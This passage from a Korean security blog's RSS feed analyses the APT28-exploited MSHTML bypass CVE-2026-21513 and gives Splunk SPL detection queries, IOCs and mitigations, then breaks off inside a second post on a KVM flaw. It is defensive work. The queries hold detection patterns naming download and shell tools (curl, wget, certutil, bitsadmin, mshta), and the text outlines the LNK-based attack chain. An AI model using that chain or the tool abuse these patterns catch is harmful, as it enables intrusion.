      <comments>https://y0-0ns.tistory.com/27#entry27comment</comments>
      <pubDate>Sun, 12 Jul 2026 01:59:58 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2026-21513: MSHTML Framework 보안 기능 우회 취약점 분석 및 Splunk SPL 탐지 쿼리</title>
      <link>https://y0-0ns.tistory.com/26</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:24;173-196&quot; data-ke-size=&quot;size26&quot;&gt;1. 취약점 설명&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:197;198-394&quot; data-ke-size=&quot;size16&quot;&gt;Windows에 여전히 남아있는 레거시 IE 엔진(MSHTML)의 URL 검증 미흡으로, 악성 LNK 파일 하나로 브라우저 샌드박스를 탈출해 임의 코드를 실행할 수 있는 취약점. 러시아 국가 연계 해킹 그룹 APT28이 2026년 2월 Microsoft Patch Tuesday &lt;b&gt;패치 전부터&lt;/b&gt; 실제 공격에 활용했으며, CISA KEV에 등재됐다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;13:1-13:13;401-413&quot; data-ke-size=&quot;size26&quot;&gt;2. 취약점 개요&lt;/h2&gt;
&lt;div data-sourcepos=&quot;15:1-23:34;415-700&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;항목&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;내용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE 번호&lt;/td&gt;
&lt;td&gt;CVE-2026-21513&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;8.8 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발표일&lt;/td&gt;
&lt;td&gt;2026년 2월 10일 (February Patch Tuesday)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-693 (Protection Mechanism Failure)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;영향 제품&lt;/td&gt;
&lt;td&gt;모든 Windows 버전 (MSHTML 내장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;취약 조건&lt;/td&gt;
&lt;td&gt;사용자가 악성 HTML 파일 또는 LNK 파일을 열었을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격자&lt;/td&gt;
&lt;td&gt;APT28 (러시아 국가 연계 위협 그룹)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;25:1-26:197;702-914&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;25:3-26:197;704-914&quot; data-ke-size=&quot;size16&quot;&gt;MSHTML이란? Windows에 내장된 레거시 웹 렌더링 엔진. Internet Explorer의 핵심 엔진(Trident)으로, IE가 공식 종료된 이후에도 하위 호환성, Office 문서 렌더링, ActiveX 지원 목적으로 Windows 안에 여전히 남아있다. 이 때문에 IE를 사용하지 않아도 MSHTML이 포함된 어떤 컴포넌트든 취약점 트리거가 가능하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;28:1-29:151;916-1081&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;28:3-29:151;918-1081&quot; data-ke-size=&quot;size16&quot;&gt;APT28이란? Fancy Bear라고도 불리는 러시아 군 정보기관(GRU) 연계 위협 그룹. 2016년 미국 대선 해킹, 우크라이나 침해 작전 등 국가 수준 사이버 작전을 수행하는 것으로 알려져 있다. 이번 취약점은 CERT-UA(우크라이나 침해대응팀)도 관련 캠페인을 포착했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;33:1-33:15;1088-1102&quot; data-ke-size=&quot;size26&quot;&gt;3. 익스플로잇 방식&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;35:1-35:15;1104-1118&quot; data-ke-size=&quot;size23&quot;&gt;취약점의 근본 원인&lt;/h3&gt;
&lt;p data-sourcepos=&quot;37:1-37:164;1120-1283&quot; data-ke-size=&quot;size16&quot;&gt;취약점은 ieframe.dll 내 하이퍼링크 네비게이션을 처리하는 _AttemptShellExecuteForHlinkNavigate 함수에 존재한다. 대상 URL에 대한 검증이 불충분해 공격자가 제어하는 입력값이 ShellExecuteExW를 호출하는 코드 경로에 도달할 수 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;39:1-53:4;1285-1534&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;취약한 코드 흐름:
하이퍼링크 클릭
    &amp;darr;
ieframe.dll의 _AttemptShellExecuteForHlinkNavigate 실행
    &amp;darr;
URL 검증 없이 그대로 ShellExecuteExW 호출
    &amp;darr;
브라우저 샌드박스 밖에서 로컬/원격 파일 실행

패치 후:
ShellExecuteExW 호출 전
file://, http://, https:// 프로토콜 검증 추가
&amp;rarr; 브라우저 컨텍스트 안에서만 실행되도록 강제&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;57:1-57:19;1541-1559&quot; data-ke-size=&quot;size23&quot;&gt;APT28 실제 공격 흐름&lt;/h3&gt;
&lt;p data-sourcepos=&quot;59:1-59:144;1561-1704&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt;cite index=&quot;14-1&quot;&amp;gt;Akamai 연구팀이 공개한 분석에 따르면, 악성 샘플(document.doc.LnK.download)은 2026년 1월 30일 VirusTotal에 처음 제출됐으며 APT28 인프라와 연결된 것으로 확인됐다.&amp;lt;/cite&amp;gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;61:1-79:4;1706-2176&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1. APT28이 악성 LNK 파일 제작
   &amp;rarr; LNK 표준 구조 바로 뒤에 HTML 파일을 임베드

2. 이메일 첨부 또는 링크로 피해자에게 전달 (스피어피싱)
   &amp;rarr; MITRE T1566.001 (Spearphishing Attachment)

3. 피해자가 LNK 파일 클릭
   &amp;rarr; MITRE T1204.001 (User Execution: Malicious File)

4. LNK가 APT28 인프라(wellnesscaremed[.]com)와 통신 시작

5. 중첩 iframe과 DOM 조작으로 신뢰 경계 우회
   &amp;rarr; Mark of the Web (MotW) 우회
   &amp;rarr; Internet Explorer Enhanced Security Configuration (IE ESC) 우회

6. ShellExecuteExW 호출 &amp;rarr; 브라우저 샌드박스 탈출
   &amp;rarr; 다단계 페이로드 실행 (PrismEx 악성코드)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;81:1-82:127;2178-2336&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;81:3-82:127;2180-2336&quot; data-ke-size=&quot;size16&quot;&gt;Mark of the Web (MotW)이란? 인터넷에서 다운로드된 파일에 Windows가 자동으로 붙이는 태그. 이 태그가 있으면 실행 시 경고창이 뜨고 제한된 보안 컨텍스트에서 실행된다. APT28은 중첩 iframe과 DOM 조작으로 이 태그의 효과를 무력화했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;84:1-85:120;2338-2472&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;84:3-85:120;2340-2472&quot; data-ke-size=&quot;size16&quot;&gt;중요한 포인트: 악성 LNK 파일을 이용한 공격이 관찰됐지만, MSHTML을 임베드하는 어떤 컴포넌트든 취약점 트리거가 가능하다. LNK 피싱 외에도 Office 문서, 이메일 HTML 렌더링 등 다양한 전달 방식이 가능하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;89:1-89:29;2479-2507&quot; data-ke-size=&quot;size26&quot;&gt;4. 어디서 흔적이 남는가 (로그 소스 매핑)&lt;/h2&gt;
&lt;div data-sourcepos=&quot;91:1-98:54;2509-2835&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 로그 소스 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 탐지 가능한 흔적 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이메일 게이트웨이 로그&lt;/td&gt;
&lt;td&gt;.lnk 파일 첨부 이메일, 악성 도메인 링크 포함 메일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프록시/웹 필터 로그&lt;/td&gt;
&lt;td&gt;wellnesscaremed[.]com 등 APT28 C2 도메인 통신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR / Sysmon&lt;/td&gt;
&lt;td&gt;ShellExecuteExW 호출 후 비정상 프로세스 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;윈도우 이벤트 로그&lt;/td&gt;
&lt;td&gt;LNK 파일 실행, 비정상 자식 프로세스 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;네트워크 로그&lt;/td&gt;
&lt;td&gt;비정상 아웃바운드 연결, C2 통신 패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SIEM (Splunk)&lt;/td&gt;
&lt;td&gt;LNK 파일 실행 + 외부 연결 + 의심 프로세스 연계 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;100:1-101:154;2837-3010&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;100:3-101:154;2839-3010&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 탐지의 핵심 어려움 공격자가 MotW를 우회하기 때문에 파일 다운로드 기반 탐지가 어렵다. MSHTML을 임베드하는 모든 컴포넌트가 벡터가 될 수 있어 단일 탐지 포인트가 없다. 네트워크 레벨에서 C2 도메인 통신을 탐지하거나 프로세스 생성 행위 패턴을 모니터링하는 것이 현실적인 접근이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;105:1-105:16;3017-3032&quot; data-ke-size=&quot;size26&quot;&gt;5. SPL 탐지 쿼리&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;107:1-107:30;3034-3063&quot; data-ke-size=&quot;size23&quot;&gt;기본형: LNK 파일 실행 후 외부 연결 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;109:1-123:4;3065-3798&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=wineventlog OR index=sysmon
| where EventCode IN (4688, 1)
| eval is_lnk_spawn=if(match(parent_process, &quot;(explorer\.exe|outlook\.exe|winword\.exe)&quot;) AND match(process_name, &quot;(cmd\.exe|powershell|wscript|mshta|rundll32)&quot;), 1, 0)
| where is_lnk_spawn=1
| stats count as spawn_count by src_host, parent_process, process_name, _time span=5m
| join type=left src_host
    [search index=firewall_logs OR index=proxy_logs
     | where direction=&quot;outbound&quot;
     | eval suspicious_domain=if(match(dest_domain, &quot;(wellnesscaremed|\.ru$|\.xyz$)&quot;), 1, 0)
     | where suspicious_domain=1
     | stats count as c2_count by src_host]
| where isnotnull(c2_count)
| table src_host, parent_process, process_name, spawn_count, c2_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;125:1-125:11;3800-3810&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;126:1-128:56;3811-4010&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;126:1-126:107;3811-3917&quot;&gt;이메일 클라이언트(outlook.exe), 탐색기(explorer.exe), Word(winword.exe)에서 cmd, powershell 같은 의심 프로세스가 생성되는 패턴을 탐지한다&lt;/li&gt;
&lt;li data-sourcepos=&quot;127:1-127:37;3918-3954&quot;&gt;LNK 파일 실행 후 주로 이 경로로 페이로드가 실행되기 때문&lt;/li&gt;
&lt;li data-sourcepos=&quot;128:1-128:56;3955-4010&quot;&gt;join으로 의심 프로세스 생성 + C2 도메인 통신을 연계해 공격 전후 흐름을 한번에 포착&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;132:1-132:42;4017-4058&quot; data-ke-size=&quot;size23&quot;&gt;개선형: MSHTML 기반 비정상 ShellExecute 패턴 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;134:1-145:4;4060-4504&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;gherkin&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=sysmon
| where EventCode=1
| eval suspicious=if(
    match(parent_process, &quot;(iexplore|mshtml|ieframe|mshta|wscript)&quot;) AND
    match(process_name, &quot;(cmd\.exe|powershell|certutil|bitsadmin|curl|wget)&quot;), 1, 0)
| where suspicious=1
| stats count as exec_count by src_host, parent_process, process_name, command_line
| where exec_count &amp;gt;= 1
| sort -exec_count
| table src_host, parent_process, process_name, command_line, exec_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;147:1-147:11;4506-4516&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;148:1-150:38;4517-4735&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;148:1-148:137;4517-4653&quot;&gt;MSHTML 관련 프로세스(iexplore, mshtml, ieframe, mshta 등)가 부모 프로세스인 상태에서 cmd, powershell 같은 의심 프로세스가 자식으로 실행되면 ShellExecuteExW 악용 패턴으로 볼 수 있다&lt;/li&gt;
&lt;li data-sourcepos=&quot;149:1-149:44;4654-4697&quot;&gt;command_line 필드를 포함해 실제 실행된 명령어까지 확인 가능&lt;/li&gt;
&lt;li data-sourcepos=&quot;150:1-150:38;4698-4735&quot;&gt;Sysmon 이벤트 코드 1(프로세스 생성)이 있어야 탐지 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-sourcepos=&quot;152:1-153:88;4737-4848&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;152:3-153:88;4739-4848&quot; data-ke-size=&quot;size16&quot;&gt;Sysmon이 없는 환경에서는? EventCode 4688(윈도우 기본 프로세스 생성 로그)로 대체 가능하지만, command_line 필드는 감사 정책에서 별도로 활성화해야 기록된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;155:1-155:105;4850-4954&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;155:3-155:105;4852-4954&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 인덱스명 안내: wineventlog, sysmon, firewall_logs, proxy_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;159:1-159:21;4961-4981&quot; data-ke-size=&quot;size23&quot;&gt;IOC 기반 C2 도메인 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;161:1-167:4;4983-5257&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=proxy_logs OR index=dns_logs OR index=firewall_logs
| search dest_domain=&quot;wellnesscaremed.com&quot; OR dest_ip=&quot;악성IP&quot;
| stats count as hit_count by src_ip, src_host, dest_domain, dest_ip
| sort -hit_count
| table src_ip, src_host, dest_domain, dest_ip, hit_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;169:1-169:18;5259-5276&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;APT28 관련 IOC:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;170:1-174:4;5277-5425&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;도메인: wellnesscaremed[.]com (APT28 C2)
파일명: document.doc.LnK.download
파일 해시: aefd15e3c395edd16ede7685c6e97ca0350a702ee7c8585274b457166e86b1fa&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;176:1-176:98;5427-5524&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;176:3-176:98;5429-5524&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ IOC는 APT28이 인프라를 교체하면 무효화된다. C2 도메인 기반 탐지는 보조 수단으로 활용하고, 행위 기반 탐지(쿼리 1, 2)를 병행하는 것이 더 안정적이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;180:1-180:16;5531-5546&quot; data-ke-size=&quot;size26&quot;&gt;6. 오탐지 줄이는 팁&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;182:1-184:84;5548-5830&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;182:1-182:108;5548-5655&quot;&gt;&lt;b&gt;정상 자동화 도구&lt;/b&gt;: 일부 IT 관리 도구가 outlook이나 explorer에서 powershell을 실행할 수 있다. 관리 서버 IP나 알려진 자동화 프로세스는 화이트리스트로 제외&lt;/li&gt;
&lt;li data-sourcepos=&quot;183:1-183:91;5656-5746&quot;&gt;&lt;b&gt;개발 환경&lt;/b&gt;: mshta, wscript는 정상 개발 환경에서도 쓰인다. 개발 PC IP를 별도로 처리하거나 command_line 내용으로 추가 필터링&lt;/li&gt;
&lt;li data-sourcepos=&quot;184:1-184:84;5747-5830&quot;&gt;&lt;b&gt;C2 도메인&lt;/b&gt;: 탐지한 도메인이 DGA(Domain Generation Algorithm) 기반이면 패턴 매칭보다 엔트로피 분석이 더 효과적&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;188:1-188:20;5837-5856&quot; data-ke-size=&quot;size26&quot;&gt;7. 임시 대응 / 패치 정보&lt;/h2&gt;
&lt;p data-sourcepos=&quot;190:1-191:102;5858-5970&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;패치 적용:&lt;/b&gt; 2026년 2월 Microsoft Patch Tuesday 누적 업데이트 즉시 적용. Windows Update 또는 Microsoft Security Update Guide 참고.&lt;/p&gt;
&lt;p data-sourcepos=&quot;193:1-193:21;5972-5992&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;즉시 적용 가능한 완화 조치:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-sourcepos=&quot;195:1-205:28;5994-6269&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-sourcepos=&quot;195:1-197:32;5994-6092&quot;&gt;&lt;b&gt;이메일 게이트웨이에서 .lnk 첨부 차단&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;196:4-197:32;6027-6092&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;196:4-196:37;6027-6060&quot;&gt;업무상 LNK 파일을 이메일로 주고받을 이유가 거의 없음&lt;/li&gt;
&lt;li data-sourcepos=&quot;197:4-197:32;6064-6092&quot;&gt;이메일 필터에서 .lnk 확장자 첨부 차단 권고&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-sourcepos=&quot;199:1-201:20;6094-6193&quot;&gt;&lt;b&gt;MSHTML 관련 레거시 기능 비활성화&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;200:4-201:20;6126-6193&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;200:4-200:51;6126-6173&quot;&gt;Internet Explorer 모드 비활성화 (Microsoft Edge 설정)&lt;/li&gt;
&lt;li data-sourcepos=&quot;201:4-201:20;6177-6193&quot;&gt;ActiveX 컨트롤 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-sourcepos=&quot;203:1-205:28;6195-6269&quot;&gt;&lt;b&gt;사용자 교육&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;204:4-205:28;6212-6269&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;204:4-204:33;6212-6241&quot;&gt;출처 불명 LNK 파일, HTML 파일 클릭 금지&lt;/li&gt;
&lt;li data-sourcepos=&quot;205:4-205:28;6245-6269&quot;&gt;이메일 링크로 전달된 파일 실행 시 주의&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-sourcepos=&quot;207:1-207:104;6271-6374&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;207:3-207:104;6273-6374&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 패치 적용이 완전한 해결책이지만, MSHTML을 임베드하는 다른 컴포넌트를 통한 변형 공격은 여전히 가능할 수 있다. 패치 후에도 행위 기반 모니터링을 유지하는 것이 중요하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;211:1-211:16;6381-6396&quot; data-ke-size=&quot;size26&quot;&gt;8. 마무리 / 한계점&lt;/h2&gt;
&lt;p data-sourcepos=&quot;213:1-213:18;6398-6415&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 SPL 쿼리의 한계:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;214:1-216:39;6416-6571&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;214:1-214:47;6416-6462&quot;&gt;Sysmon이 설치되지 않은 환경에서는 프로세스 생성 기반 탐지 정확도가 낮아짐&lt;/li&gt;
&lt;li data-sourcepos=&quot;215:1-215:70;6463-6532&quot;&gt;APT28이 LNK 대신 다른 MSHTML 임베드 방식을 사용하면 parent_process 기반 필터가 우회될 수 있음&lt;/li&gt;
&lt;li data-sourcepos=&quot;216:1-216:39;6533-6571&quot;&gt;C2 도메인 기반 탐지는 공격자가 인프라를 교체하는 순간 무효화됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-sourcepos=&quot;218:1-218:196;6573-6768&quot; data-ke-size=&quot;size16&quot;&gt;이 취약점이 특히 흥미로운 이유는 &lt;b&gt;&quot;이미 공식 종료된 Internet Explorer의 잔재가 2026년에도 국가 수준 APT 공격의 무기가 됐다&quot;&lt;/b&gt; 는 점이다. 레거시 컴포넌트는 눈에 안 보인다고 사라진 게 아니다. Windows 안에 조용히 남아있다가 이런 식으로 터진다. 이번 취약점은 레거시 코드 감사의 중요성을 다시 한번 상기시켜준다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;220:1-220:46;6770-6815&quot; data-ke-size=&quot;size16&quot;&gt;더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-sourcepos=&quot;224:1-224:11;6822-6832&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;225:1-229:156;6833-7464&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;225:1-225:111;6833-6943&quot;&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513&quot;&gt;Microsoft 공식 어드바이저리 - CVE-2026-21513&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;226:1-226:148;6944-7091&quot;&gt;&lt;a href=&quot;https://www.akamai.com/blog/security-research/inside-the-fix-cve-2026-21513-mshtml-exploit-analysis&quot;&gt;Akamai - Inside the Fix: CVE-2026-21513 분석&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;227:1-227:112;7092-7203&quot;&gt;&lt;a href=&quot;https://thehackernews.com/2026/03/apt28-tied-to-cve-2026-21513-mshtml-0.html&quot;&gt;The Hacker News - APT28 연계 분석&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;228:1-228:105;7204-7308&quot;&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21513&quot;&gt;CISA KEV 카탈로그&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;229:1-229:156;7309-7464&quot;&gt;&lt;a href=&quot;https://securityaffairs.com/188782/security/russia-linked-apt28-exploited-mshtml-zero-day-cve-2026-21513-before-patch.html&quot;&gt;Security Affairs - APT28 분석&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>취약점 분석/CVE</category>
      <category>apt28</category>
      <category>CVE-2026-21513</category>
      <category>lnk</category>
      <category>mshtml</category>
      <category>spl</category>
      <category>Splunk</category>
      <category>Windows</category>
      <category>보안기능우회</category>
      <category>제로데이</category>
      <category>취약점분석</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/26</guid>
      <comments>https://y0-0ns.tistory.com/26#entry26comment</comments>
      <pubDate>Fri, 10 Jul 2026 18:52:24 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2026-53359 (Januscape): Linux KVM Use-After-Free 취약점 분석 및 Splunk SPL 탐지 쿼리</title>
      <link>https://y0-0ns.tistory.com/25</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 취약점 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux KVM 하이퍼바이저의 shadow MMU 코드에 &lt;b&gt;2010년부터 16년간 숨어있던&lt;/b&gt; Use-After-Free 취약점. 게스트 VM 안에서 호스트 커널 메모리를 손상시켜 호스트 전체를 장악할 수 있다. Intel과 AMD x86 모두 영향을 받으며, 공개된 PoC만으로도 호스트 커널 패닉(DoS)이 발생한다. 완전한 게스트-호스트 탈출 익스플로잇은 미공개 상태지만 연구자가 보유 중이라고 밝혔다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 취약점 개요&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;항목&lt;/td&gt;
&lt;td&gt;내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE 번호&lt;/td&gt;
&lt;td&gt;CVE-2026-53359&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;별칭&lt;/td&gt;
&lt;td&gt;Januscape&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;미할당 (Critical 수준으로 평가)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-416 (Use After Free)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발표일&lt;/td&gt;
&lt;td&gt;2026년 7월 6일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;영향 제품&lt;/td&gt;
&lt;td&gt;Linux Kernel KVM (x86, Intel/AMD)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;취약 버전&lt;/td&gt;
&lt;td&gt;커밋 2032a93d66fa (2010.08) ~ 81ccda30b4e8 (2026.06)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
